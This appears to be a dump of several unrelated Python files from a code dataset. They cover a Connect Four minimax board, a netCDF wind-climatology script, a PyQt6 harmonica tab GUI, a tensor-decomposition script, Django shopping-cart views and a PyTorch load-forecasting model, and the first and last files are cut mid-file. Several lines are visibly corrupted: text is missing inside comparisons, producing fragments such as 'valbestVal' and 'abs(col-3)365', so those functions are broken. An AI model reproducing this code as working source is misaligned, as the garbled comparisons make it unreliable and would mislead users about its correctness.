\"\"\"\r\n s = ['0'] * 42\r\n pos = 0\r\n for row in self.state:\r\n for col in row:\r\n if col is Color.RED:\r\n s[pos] = '1'\r\n elif col is Color.BLACK:\r\n s[pos] = '2'\r\n pos = pos + 1\r\n return ''.join(s)\r\n\r\n def load(self,str):\r\n \"\"\"\r\n Loads state from string of 7x6=42 characters\r\n See comment on save() for string format\r\n \"\"\"\r\n self.clear()\r\n row = 0\r\n col = 0\r\n for val in list(str):\r\n if val == '1':\r\n self.state[row][col] = Color.RED\r\n elif val == '2':\r\n self.state[row][col] = Color.BLACK\r\n col = col + 1\r\n if col>6:\r\n row = row + 1\r\n col = 0\r\n\r\n def drop(self,color,column):\r\n \"\"\" Drops the given color cookie into the given column \"\"\"\r\n row = 5\r\n while row>=0 and not(self.state[row][column] is Color.NONE):\r\n row = row - 1\r\n if row>=0:\r\n self.state[row][column] = color\r\n\r\n def isFull(self,column):\r\n \"\"\" Returns true if the column is full \"\"\"\r\n return not(self.state[0][column] is Color.NONE) # top cookie is colored\r\n\r\n def isDraw(self):\r\n \"\"\" Returns true if there are no more moves \"\"\"\r\n return all(not(x is Color.NONE) for x in self.state[0]) # top row is colored\r\n\r\n def __consecutiveLists(self):\r\n \"\"\" Returns a list of lists of all consecutive cells in a line, to use for counting how many in a row \"\"\"\r\n lines = []\r\n # all rows\r\n lines.extend(self.state)\r\n # all columns\r\n for col in range(7):\r\n line = []\r\n for row in range(6):\r\n line.append(self.state[row][col])\r\n lines.append(line)\r\n # top left to bottom right diagonals\r\n for col in range(3,9):\r\n line = []\r\n curcol = col\r\n currow = 5\r\n while currow>=0:\r\n if curcol>=0 and curcol<7:\r\n line.append(self.state[currow][curcol])\r\n curcol = curcol-1\r\n currow = currow-1\r\n lines.append(line)\r\n # top right to bottom left diagonals\r\n for col in range(-2,4):\r\n line = []\r\n curcol = col\r\n currow = 5\r\n while currow>=0:\r\n if curcol>=0 and curcol<7:\r\n line.append(self.state[currow][curcol])\r\n curcol = curcol+1\r\n currow = currow-1\r\n lines.append(line)\r\n return lines \r\n\r\n def winner(self):\r\n \"\"\" Returns the color of the winner (Color.NONE if no one has won) \"\"\"\r\n # Create list of lists of all consecutive cells in a line, then check each one\r\n lines = self.__consecutiveLists()\r\n # Now check each line for a winner\r\n for line in lines:\r\n prior = Color.NONE\r\n runlength = 0\r\n for color in line:\r\n if color is prior:\r\n runlength = runlength + 1\r\n else:\r\n runlength = 1\r\n if runlength>3 and color!=Color.NONE:\r\n return color # winner\r\n prior = color\r\n return Color.NONE # no winner\r\n\r\n def __calcMove(self,depth,color):\r\n \"\"\" Calculate's color's move using the given search depth. Returns tuple (move,value) \"\"\"\r\n def undrop(col):\r\n \"\"\" Helper function to remove topmost cookie \"\"\"\r\n for row in range(6):\r\n if not(self.state[row][col] is Color.NONE):\r\n self.state[row][col] = Color.NONE\r\n return\r\n def boardVal():\r\n \"\"\" Helper function to calculate board value in current state \"\"\"\r\n # Get largest run length across rows, cols, and diagonals where we can add more\r\n lines = self.__consecutiveLists()\r\n maxlength = 0\r\n for line in lines:\r\n runlength = 0\r\n for color in line:\r\n if color is Color.BLACK:\r\n runlength = runlength + 1\r\n elif color is Color.RED:\r\n break\r\n if runlength>maxlength:\r\n maxlength = runlength\r\n return maxlength\r\n\r\n bestVal = -1\r\n if color is Color.RED:\r\n bestVal = 99\r\n bestCol = 3\r\n for col in range(7):\r\n if not(self.isFull(col)):\r\n self.drop(color, col)\r\n val = 0\r\n winner = self.winner()\r\n if winner is Color.RED:\r\n val = 0\r\n elif winner is Color.BLACK:\r\n val = 4\r\n elif depth<1:\r\n val = boardVal()\r\n elif color is Color.RED:\r\n (val,_) = self.__calcMove(depth-1,Color.BLACK)\r\n else:\r\n (val,_) = self.__calcMove(depth-1,Color.RED)\r\n #self.print()\r\n #print(str(color) + ' col=' + str(col) + ' val=' + str(val))\r\n undrop(col)\r\n if (color is Color.RED and valbestVal) or (val==bestVal and abs(col-3)365: # count year forward\n d-= 365\n y+= 1\n if not y%4: # count leap year to day\n d -= 1\n m = 1\n dd = d\n while d>monthday[m-1]:\n d-= monthday[m-1]\n m+= 1\n if d<=0: # otherwise set last day of previous year \n d = 31-d\n m = 12\n y-= y\n if show:\n print (y,m,d,h)\n return (y,m,d,h,dd)\n\n\n# open netCDF file for reading\nprint('reading ',fname,'...')\nncfile = netCDF4.Dataset(fname,'r') \ntime = ncfile.variables['time'][:]\nlats = ncfile.variables['latitude'][:]\nlons = ncfile.variables['longitude'][:]\n\n\nfor n in list(range(0,ncut)):\n k1 = n*scut+1\n k2 = (n+1)*scut\n if k2>ssum:\n k2=ssum\n\n\n print('reading days =',k1,':',k2) \n datau = ncfile.variables['u10'][k1:k2]\n datav = ncfile.variables['v10'][k1:k2]\n datap = ncfile.variables['msl'][k1:k2]\n nm,ny,nx = datau.shape\n print('data size =(',nm,ny,nx,')')\n\n\n # read data only once to initiate variables, then turn off flag\n if flag==1:\n flag = 0 \n\n\n # create blank matrices to store climatological data\n print('create blank matrices')\n clims1u = numpy.zeros((cday,ny,nx))\n clims1v = numpy.zeros((cday,ny,nx))\n clims1p = numpy.zeros((cday,ny,nx))\n clims2u = numpy.zeros((cmonth,ny,nx))\n clims2v = numpy.zeros((cmonth,ny,nx))\n clims2p = numpy.zeros((cmonth,ny,nx))\n count1 = numpy.zeros(cday)\n count2 = numpy.zeros(cmonth)\n time1 = numpy.zeros(cday)\n time2 = numpy.zeros(cmonth) \n dlist = list(range(0,cday))\n mlist = list(range(0,cmonth))\n \n\n # compute sum of daily climatology\n print('compute sum of climatological variables')\n for k in list(range(k1,k2)):\n y,m,d,h,dd = date(time[k],0)\n count1[dd-1]+=1\n count2[m-1]+=1\n utemp = datau[k-k1,:,:]\n vtemp = datav[k-k1,:,:]\n ptemp = datap[k-k1,:,:]\n clims1u[dd-1,:,:] += utemp\n clims1v[dd-1,:,:] += vtemp\n clims1p[dd-1,:,:] += ptemp\n clims2u[m-1,:,:] += utemp\n clims2v[m-1,:,:] += vtemp\n clims2p[m-1,:,:] += ptemp\n\n\n# compute mean of climatology\nprint('compute mean of climatological variables')\nfor d in dlist:\n time1[d] = d\n if count1[d]:\n ctemp1u = clims1u[d,:,:]\n ctemp1v = clims1v[d,:,:]\n ctemp1p = clims1p[d,:,:]\n clims1u[d,:,:] = ctemp1u/count1[d]\n clims1v[d,:,:] = ctemp1v/count1[d]\n clims1p[d,:,:] = ctemp1p/count1[d]\nfor m in mlist:\n time2[m] = (m+1/2)*30\n if count2[m]:\n ctemp2u = clims2u[m,:,:]\n ctemp2v = clims2v[m,:,:]\n ctemp2p = clims2p[m,:,:]\n clims2u[m,:,:] = ctemp2u/count2[m]\n clims2v[m,:,:] = ctemp2v/count2[m]\n clims2p[m,:,:] = ctemp2p/count2[m]\n\n\n# save monthly climatology output\nprint('saving monthly climatology file...')\ncfile2 = netCDF4.Dataset(cname2,'w')\ncfile2.createDimension('time',cmonth)\ncfile2.createDimension('latitude',ny)\ncfile2.createDimension('longitude',nx)\noutime2 = cfile2.createVariable('time',numpy.dtype('float').char,('time'))\noutlat2 = cfile2.createVariable('latitude',numpy.dtype('float').char,('latitude'))\noutlon2 = cfile2.createVariable('longitude',numpy.dtype('float').char,('longitude'))\noutput2u = cfile2.createVariable('u10',numpy.dtype('float').char,('time','latitude','longitude'))\noutput2v = cfile2.createVariable('v10',numpy.dtype('float').char,('time','latitude','longitude'))\noutput2p = cfile2.createVariable('mslp',numpy.dtype('float').char,('time','latitude','longitude'))\noutime2[:] = time2\noutlon2[:] = lons\noutlat2[:] = lats\noutput2u[:] = clims2u\noutput2v[:] = clims2v\noutput2p[:] = clims2p\noutime2.calendar = ucald\noutime2.units = udate\noutlon2.units = ulons\noutlat2.units = ulats\noutput2u.units = uu10w\noutput2v.units = uv10w\noutput2p.units = up10w\ncfile2.close()\n\n\n# save daily climatology output\nprint('saving daily climatology file...')\ncfile1 = netCDF4.Dataset(cname1,'w')\ncfile1.createDimension('time',cday)\ncfile1.createDimension('latitude',ny)\ncfile1.createDimension('longitude',nx)\noutime1 = cfile1.createVariable('time',numpy.dtype('float').char,('time'))\noutlat1 = cfile1.createVariable('latitude',numpy.dtype('float').char,('latitude'))\noutlon1 = cfile1.createVariable('longitude',numpy.dtype('float').char,('longitude'))\noutput1u = cfile1.createVariable('u10',numpy.dtype('float').char,('time','latitude','longitude'))\noutput1v = cfile1.createVariable('v10',numpy.dtype('float').char,('time','latitude','longitude'))\noutput1p = cfile1.createVariable('mslp',numpy.dtype('float').char,('time','latitude','longitude'))\noutime1[:] = time1\noutlon1[:] = lons\noutlat1[:] = lats\noutput1u[:] = clims1u\noutput1v[:] = clims1v\noutput1p[:] = clims1p\noutime1.calendar = ucald\noutime1.units = udate\noutlon1.units = ulons\noutlat1.units = ulats\noutput1u.units = uu10w\noutput1v.units = uv10w\noutput1p.units = up10w\ncfile1.close()\n\n\n# finished notification\nncfile.close()\nprint('program completed successfully!')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"earthscience/ecwmf-clim-wind.py","file_name":"ecwmf-clim-wind.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"366256354","text":"from dataclasses import dataclass\nimport logging\nimport os\nimport sys\nimport traceback\n\nfrom PyQt6.QtWidgets import QApplication, QMainWindow, QWidget, QFileDialog, QMenuBar\nfrom PyQt6.QtGui import QAction\nfrom PyQt6.QtCore import QRect\nfrom PyQt6 import uic\n\n\nfrom harp_helper import constants\nfrom harp_helper.harps import Harmonica\nfrom harp_helper import music\n\nlogger = logging.getLogger('harp')\n\n\nMAX_FILE_LABEL_TEXT = 65\nWINDOW_MARGIN = 20\nWINDOW_FOOTER = 20\nMINOR_KEY_SIGNATURES = {\n 'a': 'c',\n 'ais': 'cis',\n 'bes': 'des',\n 'b': 'd',\n 'c': 'ees',\n 'cis': 'e',\n 'd': 'f',\n 'dis': 'fis',\n 'ees': 'ges',\n 'e': 'g',\n 'f': 'aes',\n 'fis': 'a',\n 'g': 'bes',\n 'gis': 'b'\n}\n\ncurrent_path = os.path.dirname(__file__)\nmain_ui = os.path.join(current_path, 'ui', 'main_window.ui')\nexplorer_ui = os.path.join(current_path, 'ui', 'explorer_widget.ui')\nmessage_ui = os.path.join(current_path, 'ui', 'message_widget.ui')\n\n\nclass HarpHelperUi(QMainWindow):\n\n app = QApplication(sys.argv)\n\n def gui_exception_handler(func):\n \"\"\"Decorator for showing exceptions in a message box\"\"\"\n def exception_wrapper(self, *args, **kwargs):\n try:\n return func(self, *args, **kwargs)\n except:\n self.open_message(\n \"FATAL ERROR: Traceback\",\n traceback.format_exc()\n )\n return exception_wrapper\n\n def __init__(self):\n super().__init__()\n uic.loadUi(main_ui, self)\n self.last_dir = os.getenv('HOME')\n self._tab_source_file_name = \"\"\n\n # Main Window Appearance\n self.setWindowTitle(constants.FULL_RELEASE_NAME)\n self.add_menu_bar()\n self.update_harps()\n self.chartBox.addItems(('Tune', 'Transpose'))\n self.sourceKeyCheckBox.setChecked(False)\n self.update_tab_source_keys()\n self.outputComboBox.addItems(('table', 'csv'))\n\n # Perform connections\n self.main_window_connections()\n\n # Placeholders for child windows\n self.explorer = None\n self.message = None\n\n @classmethod\n def exec(cls):\n sys.exit(cls.app.exec())\n\n def add_menu_bar(self):\n\n # Exit\n exitAction = QAction(\"Depart\", self)\n exitAction.setShortcut(\"Ctrl+D\")\n exitAction.setStatusTip(f\"Exit App\")\n exitAction.triggered.connect(self.menu_exit)\n\n # Save Output\n saveAction = QAction(\"&Save Output\", self)\n saveAction.setShortcut(\"Ctrl+S\")\n saveAction.setStatusTip(\"Save the current output to a file\")\n saveAction.triggered.connect(self.save_output_dialog)\n\n # HelpNotation\n notationAction = QAction(\"Notation...\", self)\n notationAction.setStatusTip(\"Music expression notation help\")\n notationAction.triggered.connect(self.help_notation_message)\n\n # Debug\n self._debugAction = QAction(\"Debug\", self)\n self._debugAction.setCheckable(True)\n self._debugAction.setChecked(False)\n self._debugAction.setStatusTip(\"Toggle debug mode\")\n self._debugAction.toggled.connect(self.toggle_debug)\n\n self.statusBar()\n\n mainMenu = QMenuBar()\n fileMenu = mainMenu.addMenu('&File')\n fileMenu.addAction(exitAction)\n fileMenu.addAction(saveAction)\n helpMenu = mainMenu.addMenu('Help')\n helpMenu.addAction(notationAction)\n helpMenu.addAction(self._debugAction)\n self.setMenuBar(mainMenu)\n\n def main_window_connections(self):\n # Chart Widgets\n self.generateChartButton.clicked.connect(self.report_button_click)\n # Tab Widgets\n self.goButton.clicked.connect(self.go_button_click)\n self.sourceExpressionButton.clicked.connect(self.update_source_music_group)\n self.sourceFileButton.clicked.connect(self.tab_file_radio_button_click)\n self.sourceKeyCheckBox.stateChanged.connect(self.update_tab_source_keys)\n self.fileExplorerButton.clicked.connect(self.open_file_dialog)\n # --- Keep source key sync'd with harp key if unchecked!\n self.harpKeyBox.currentIndexChanged.connect(self.update_tab_source_keys)\n # General Widgets\n self.typeBox.currentTextChanged.connect(self.update_harp_keys)\n\n def resizeEvent(self, *args, **kwargs):\n \"\"\"Override the main window resizeEvent to resize window contents\"\"\"\n\n # Call the event to perform the main window resize\n QMainWindow.resizeEvent(self, *args, **kwargs)\n\n # Recenter the harp widgets\n self.harpGroupBox.setGeometry(QRect(\n (self.geometry().width() - self.harpGroupBox.geometry().width()) // 2,\n self.harpGroupBox.geometry().y(),\n self.harpGroupBox.geometry().width(),\n self.harpGroupBox.geometry().height()\n ))\n\n # Resize the tabWidget\n self.tabWidget.setGeometry(QRect(\n WINDOW_MARGIN,\n self.tabWidget.geometry().y(),\n self.geometry().width() - WINDOW_MARGIN * 2,\n self.geometry().height() - self.tabWidget.geometry().y() - WINDOW_MARGIN - WINDOW_FOOTER))\n\n # Recenter the chart widgets\n self.chartWidgetGroupBox.setGeometry(QRect(\n (self.tabWidget.geometry().width() - self.chartWidgetGroupBox.geometry().width()) // 2,\n self.chartWidgetGroupBox.geometry().y(),\n self.chartWidgetGroupBox.geometry().width(),\n self.chartWidgetGroupBox.geometry().height()\n ))\n # Resize the Chart Browser\n self.chartBrowser.setGeometry(QRect(\n WINDOW_MARGIN,\n self.chartBrowser.geometry().y(),\n self.tabWidget.geometry().width() - WINDOW_MARGIN * 2,\n self.tabWidget.geometry().height() - self.chartBrowser.geometry().y() - WINDOW_MARGIN - WINDOW_FOOTER\n ))\n\n # Recenter the tablature widgets\n self.tabWidgetGroupBox.setGeometry(QRect(\n (self.tabWidget.geometry().width() - self.tabWidgetGroupBox.geometry().width()) // 2,\n self.tabWidgetGroupBox.geometry().y(),\n self.tabWidgetGroupBox.geometry().width(),\n self.tabWidgetGroupBox.geometry().height()\n ))\n # Resize the tablature Browser\n self.tabBrowser.setGeometry(QRect(\n WINDOW_MARGIN,\n self.tabBrowser.geometry().y(),\n self.tabWidget.geometry().width() - WINDOW_MARGIN * 2,\n self.tabWidget.geometry().height() - self.tabBrowser.geometry().y() - WINDOW_MARGIN - WINDOW_FOOTER\n ))\n\n def update_harps(self):\n self.typeBox.clear()\n for harp_type in Harmonica.types():\n harp = Harmonica(harp_type, 'c')\n self.typeBox.addItem(harp.harmonica_description, harp_type)\n self.update_harp_keys()\n\n def update_source_music_group(self):\n if self.sourceExpressionButton.isChecked():\n self.expressionEdit.setEnabled(True)\n else:\n self.expressionEdit.setEnabled(False)\n self.expressionEdit.setText(\"\")\n\n def update_harp_keys(self):\n self.harpKeyBox.clear()\n harp_type = self.typeBox.currentData()\n for key in Harmonica(harp_type, 'c').keys_available:\n self.harpKeyBox.addItem(music.NoteParser(key).musical_name, key)\n self.update_tab_source_keys()\n\n def update_tab_source_keys(self):\n # all_notes = set(music.FLAT_NOTE_ORDER + music.SHARP_NOTE_ORDER)\n self.sourceKeyBox.clear()\n if self.sourceKeyCheckBox.isChecked():\n for key in music.KEYS:\n self.sourceKeyBox.addItem(\n music.NoteParser(key).musical_name,\n key\n )\n self.sourceKeyBox.setEnabled(True)\n self.transposeDirectionRadioButtons.setEnabled(True)\n else:\n self.sourceKeyBox.addItem(\n self.harpKeyBox.currentText(),\n self.harpKeyBox.currentData()\n )\n self.sourceKeyBox.setEnabled(False)\n self.transposeDirectionRadioButtons.setEnabled(False)\n\n # \\\\\\\\\\\\\\ signal handlers ///////\n\n @gui_exception_handler\n def go_button_click(self, *args):\n\n self.tabBrowser.clear()\n\n harp = Harmonica(\n harmonica_type=self.typeBox.currentData(),\n harmonica_key=self.harpKeyBox.currentData()\n )\n\n if self.sourceKeyCheckBox.isChecked():\n source_key = self.sourceKeyBox.currentData()\n else:\n source_key = harp.key\n logger.debug(f\"initial source key is {source_key}\")\n details = []\n for music_data in self.generate_music_data_structure_from_source():\n\n if music_data.key is not None:\n source_key = music_data.key\n logger.debug(f\"setting source key to {source_key}\")\n source_notes = \" \".join(music_data.events)\n\n expression = music.MusicExpression(source_notes, key=source_key)\n\n if self.transposeSpinner.value() != 0:\n logger.debug(f\"transposing half-steps={self.transposeSpinner.value()}\")\n expression.transpose_half_steps(self.transposeSpinner.value())\n\n if self.transposeDownButton.isChecked():\n direction = \"down\"\n elif self.transposeUpButton.isChecked():\n direction = \"up\"\n else:\n direction = \"closest\"\n if source_key != harp.key:\n logger.debug(f\"transposing from key {expression.key}\"\n f\" to key {self.harpKeyBox.currentData()}\"\n f\" direction: {direction}\")\n expression.transpose_to_key(\n key=self.harpKeyBox.currentData(),\n direction=direction\n )\n\n # Create the notation\n phrase = \" ♦ \".join(harp.get_notation(expression.notation_list))\n logger.debug(f\"adding phrase '{phrase}'\")\n details.append(phrase.replace(\"<\", \"<\"))\n\n self.tabBrowser.setHtml(\"\\n
    \\n\".join(details))\n\n @gui_exception_handler\n def report_button_click(self, *args):\n chart_type = self.chartBox.currentText()\n if chart_type == \"Tune\":\n harp = Harmonica(\n harmonica_type=self.typeBox.currentData(),\n harmonica_key=self.harpKeyBox.currentData()\n )\n output = harp.tuning_chart(output_format=self.outputComboBox.currentText())\n else:\n output = self.create_transposing_charts()\n self.chartBrowser.setText(output)\n\n\n @gui_exception_handler\n def tab_file_radio_button_click(self, *args):\n if not self.sourceFileLabel.text().strip():\n self.open_file_dialog()\n if self.sourceFileLabel.text().strip():\n self.expressionEdit.setEnabled(False)\n else:\n self.sourceExpressionButton.setChecked(True)\n\n @gui_exception_handler\n def menu_save(self, *args):\n raise NotImplementedError(\"Feature 'Save Output' not supported\")\n\n def menu_exit(self):\n self.close()\n\n @gui_exception_handler\n def help_notation_message(self, *args):\n self.open_message(title=\"Help: Music Notation\", message=constants.NOTATION_HELP, html=True)\n\n @gui_exception_handler\n def toggle_debug(self, *args):\n if self._debugAction.isChecked():\n logging.getLogger().setLevel(logging.DEBUG)\n else:\n logging.getLogger().setLevel(logging.INFO)\n\n # \\\\\\\\\\\\\\ Helper Functions For Main Window ///////\n\n def generate_tab_notation_from_source(self):\n \"\"\"Generator for yielding a line of notation\"\"\"\n if self.sourceExpressionButton.isChecked():\n yield self.expressionEdit.text()\n else:\n with open(self._tab_source_file_name, \"r\") as fh:\n line = fh.readline()\n while line:\n notation = line.partition(\"#\")[0].strip()\n if len(notation) > 0:\n yield line.strip()\n line = fh.readline()\n\n def generate_music_data_structure_from_source(self):\n \"\"\"Generator for yielding MusicDataClass objects\"\"\"\n\n @dataclass\n class MusicDataClass:\n key: str\n events: list[str]\n\n key = None\n for line in self.generate_tab_notation_from_source():\n logger.debug(f\"processing line: {line}\")\n note_events = []\n event_list = line.split()\n while len(event_list) > 0:\n\n # Get the next event\n event = event_list.pop(0)\n\n # Check for key signature\n if event == \"\\\\key\":\n logger.debug(\"Found control event key\")\n try:\n key_name = event_list.pop(0)\n key_scale = event_list.pop(0)\n except IndexError:\n raise ValueError(\"Unable to parse \\\\key control command\") from None\n if key_scale not in (\"\\\\major\", \"\\\\minor\"):\n raise ValueError(f\"Unsupported mode '{key_scale}'\")\n if key_scale == \"\\\\minor\":\n try:\n key_name = MINOR_KEY_SIGNATURES[key_name]\n except KeyError:\n raise ValueError(f\"Can't use minor key {key_name}\") from None\n\n # Before we change the key, yield notes from the previous key\n if note_events:\n yield MusicDataClass(key, note_events)\n note_events = []\n\n # Now set the new key and continue\n key = key_name\n continue\n\n note_events.append(event)\n\n # After loop yield remaining events\n if note_events:\n yield MusicDataClass(key, note_events)\n\n\n def update_file_source_label(self, label_text):\n \"\"\"Updates tab source file (concatenates as needed)\"\"\"\n if len(label_text) <= MAX_FILE_LABEL_TEXT:\n self.sourceFileLabel.setText(label_text)\n return\n source_dir = os.path.dirname(label_text)\n source_base = os.path.basename(label_text)\n if len(source_base) > MAX_FILE_LABEL_TEXT - 4:\n self.sourceFileLabel.setText(f\".../{source_base}\")\n return\n concat_dir = source_dir[:MAX_FILE_LABEL_TEXT - len(source_base) - 3]\n self.sourceFileLabel.setText(f\"{concat_dir}.../{source_base}\")\n\n def create_transposing_charts(self) -> str:\n chart_outputs = []\n for key in music.KEYS:\n harp = Harmonica(\n harmonica_type=self.typeBox.currentData(),\n harmonica_key=key\n )\n chart_outputs.append(f\"Source music: {music.NoteParser(key).musical_name}\")\n chart_outputs.append(harp.tuning_chart(output_format=self.outputComboBox.currentText()))\n chart_outputs.append(\"\")\n return \"\\n\".join(chart_outputs)\n\n # \\\\\\\\\\\\\\ File Dialog ///////\n\n def open_file_dialog(self):\n filename, _ = QFileDialog.getOpenFileName(\n parent=self,\n caption=\"Select Music File\",\n directory=self.last_dir\n )\n if not filename:\n return\n self.last_dir = os.path.dirname(filename)\n self._tab_source_file_name = filename\n self.update_file_source_label(filename)\n self.sourceFileButton.setChecked(True)\n if self.sourceFileLabel.text():\n self.expressionEdit.setEnabled(False)\n else:\n self.sourceExpressionButton.setChecked(True)\n\n def save_output_dialog(self):\n filename, _ = QFileDialog.getSaveFileName(\n parent=self,\n caption=\"Save output\",\n directory=self.last_dir\n )\n if not filename:\n print(\"cancelled\")\n return\n self.last_dir = os.path.dirname(filename)\n tabs = (self.chartBrowser, self.tabBrowser)\n with open(filename, \"w\") as fh:\n fh.write(tabs[self.tabWidget.currentIndex()].toPlainText())\n\n # \\\\\\\\\\\\\\ Scrolling Message Box ///////\n\n def open_message(self, title: str = \"MESSAGE\", message: str = \"?\", html: bool = False):\n self.message = QWidget()\n uic.loadUi(message_ui, self.message)\n self.message.okButton.clicked.connect(self.close_message)\n self.message.setWindowTitle(title)\n if html:\n self.message.textBrowser.setHtml(message)\n else:\n self.message.textBrowser.setText(message)\n self.message.resizeEvent = self.message_window_resize\n self.message.show()\n\n def message_window_resize(self, *args, **kwargs):\n QMainWindow.resizeEvent(self, *args, **kwargs)\n\n # Relocate Ok button\n self.message.okButton.setGeometry(QRect(\n (self.message.geometry().width() - self.message.okButton.geometry().width()) // 2,\n self.message.geometry().height() - self.message.okButton.geometry().height() - WINDOW_MARGIN - WINDOW_FOOTER,\n self.message.okButton.geometry().width(),\n self.message.okButton.geometry().height()\n ))\n\n # Text Browser\n self.message.textBrowser.setGeometry(QRect(\n WINDOW_MARGIN,\n WINDOW_MARGIN,\n self.message.geometry().width() - WINDOW_MARGIN * 2,\n self.message.okButton.geometry().y() - WINDOW_MARGIN * 2\n ))\n\n def close_message(self):\n self.message.close()\n self.message = None\n\n\ndef main():\n logging.basicConfig(level=logging.INFO)\n harp_helper = HarpHelperUi()\n harp_helper.show()\n harp_helper.exec()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"harp_helper/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"446195648","text":"import tensorDecomp as td\r\nimport dbInfo as di\r\nimport utils\r\nimport tensorly as tl\r\ntl.set_backend('numpy')\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n#np.set_printoptions(threshold=np.nan)\r\n\r\nnumGroups = 5\r\nnumSemantics = 5\r\n\r\nvect, tags, movies, ratings = td.vectTagMovRat()\r\ntens = td.vectToTens(vect)\r\nprint(\"The tag-movie-ratings tensor:\\n\",tens, \"\\n\\nshape of tensor: \",tens.shape)\r\nfactors = td.tensDecomp(tens, numSemantics)\r\n\r\n#for i in range(len(factors)):\r\n#\tprint(tl.unfold(factors[i],1))\r\ntagSemantics = tl.unfold(factors[0],1)\r\nmovieSemantics = tl.unfold(factors[1],1)\r\nrateSemantics = tl.unfold(factors[2],1)\r\n\r\nprint(\"\\n\\nTag Semantics:\")\r\nfor sem in tagSemantics:\r\n\tprint(\"\\n\\n\",utils.rankSem(sem, tags))\r\nprint(\"\\n\\nMovie Semantics:\")\r\nfor sem in movieSemantics:\r\n\tprint(\"\\n\\n\",utils.rankSem(sem, movies))\r\nprint(\"\\n\\nRating Semantics:\")\r\nfor sem in rateSemantics:\r\n\tprint(\"\\n\\n\",utils.rankSem(sem, ratings))\r\n\r\ntagList = di.getAllTagNames()\r\nmovList = di.getAllMovieNames()\r\nrates = di.getAllRatings()\r\n\r\ntagGroups = utils.form_groups_semantics(factors[0], tagList, numGroups)\r\nmovGroups = utils.form_groups_semantics(factors[1], movList, numGroups)\r\nrtngGroups = utils.form_groups_semantics(factors[2], rates, numGroups)\r\n\r\nprint(\"\\n\\n5 Non overlapping Tag groups:\")\r\nfor grp in tagGroups.keys():\r\n\tprint(\"\\n\\n\",grp, \":\", tagGroups[grp])\r\nprint(\"\\n\\n5 Non overlapping Movie groups:\")\r\nfor grp in movGroups.keys():\r\n\tprint(\"\\n\\n\",grp, \":\", movGroups[grp])\r\nprint(\"\\n\\n5 Non overlapping Rating groups:\")\r\nfor grp in rtngGroups.keys():\r\n\tprint(\"\\n\\n\",grp, \":\", rtngGroups[grp])\r\n","sub_path":"project_submission/code/task2d.py","file_name":"task2d.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"473603917","text":"from django.http import JsonResponse\nfrom zxy11.models import Shopping_cart, Goods\nfrom django.core.exceptions import ValidationError, ObjectDoesNotExist\nimport json\n\n\ndef add_Shoppingcart(request):\n userid = request.POST.get('userid', '')\n goodsid = request.POST.get('goodsid', '')\n amount = request.POST.get('amount', '')\n print(userid, goodsid, amount)\n\n if userid == '' or goodsid == '' or amount == '':\n return JsonResponse({'status': 10021, 'message': 'not complete'})\n\n try:\n Shopping_cart.objects.create(\n userid=userid, goodsid=goodsid, amount=amount)\n except ValidationError as e:\n error = 'error'\n return JsonResponse({'status': 10024, 'message': 'error'})\n\n return JsonResponse({'status': 300, 'message': 'add_Shoppingcart success!'})\n\n\ndef get_Shoppingcart(request):\n userid = request.GET.get('userid', '')\n if userid == '':\n return JsonResponse({'status': 12001, 'message': 'not exist'})\n\n if userid != '':\n data = []\n result = Shopping_cart.objects.filter(userid=userid)\n if result:\n for r in result:\n aa = Goods.objects.get(goodid=r.goodsid)\n shoppingcart = {}\n shoppingcart['userid'] = r.userid\n shoppingcart['amount'] = r.amount\n shoppingcart['id'] = r.id\n shoppingcart['Goods'] = {}\n shoppingcart['Goods']['goodid'] = aa.goodid\n shoppingcart['Goods']['Name'] = aa.Name\n shoppingcart['Goods']['price'] = aa.price\n shoppingcart['Goods']['pic'] = str(aa.pic)\n shoppingcart['Goods']['goodinfo'] = aa.goodinfo\n data.append(shoppingcart)\n return JsonResponse({'status': 200, 'message': 'success', 'data': data})\n else:\n return JsonResponse({'status': 0, 'message': 'not goods'})\n\n\ndef delete_Shoppingcart(request):\n id = request.POST.get('id', '')\n try:\n Shopping_cart.objects.filter(id=id).delete()\n except ValidationError as e:\n error = 'error'\n return JsonResponse({'status': 10024, 'message': 'error'})\n\n return JsonResponse({'status': 300, 'message': 'delete_Shoppingcart success!'})\n","sub_path":"购物系统/zxy00/zxy11/Shoppingcart_API.py","file_name":"Shoppingcart_API.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"277067151","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optm\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nimport os \n\n\n# Add this files directory location, so we can include the index definitions\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n# add this so we can import the trainer and tester modules\ntools_path = os.path.join(dir_path, \"../\")\nsys.path.insert(0, tools_path)\n\nfrom Tools import trainer, tester\nimport regression_idx as ridx\n\n\n# End Of imports -----------------------------------------------------------------\n# --------------------------------------------------------------------------------\n\n\nsign = lambda x: ('+', '')[x < 0]\n\nclass ANNSTLFGREEK(nn.Module):\n '''\n Simple single layer feedforwards network, for load preditction.\n It is found in Hond Tao's PhD dissertation as the entry level\n articificial neural netowork architecture.\n\n Inputs: (u int) Hourly Linear Trend: Each hour has its owh index, \n on the data set. Starting from a base date, each \n hour os enumerated. So f dataset starts at \n 1-1-2001 00:00, hour 00:00 is 0, 01:00 is 1, 02:00 \n is 2, etc.\n (float) Temperature for that hour. If many are present in \n the dataset, start by using the average.\n\n\n Returns: A single value prediction of the load.\n '''\n history = [[] for i in range(ridx.logSize)]\n def __init__(self, inSize = 2, loss = nn.MSELoss()): \n super(ANNLFS, self).__init__() \n self.firstPass = 1\n self.linear = nn.Linear(inSize, 1) # 10 nodes are specified in the thesis.\n self.loss = loss\n \n\n def forward(self, x): \n x = F.relu(self.linear(x)) \n return x \n\n def get_model_descr(self):\n \"\"\"Creates a string description of a polynomial.\"\"\"\n model = 'y = '\n modelSize =len(self.linear.weight.data.view(-1)) \n for i, w in 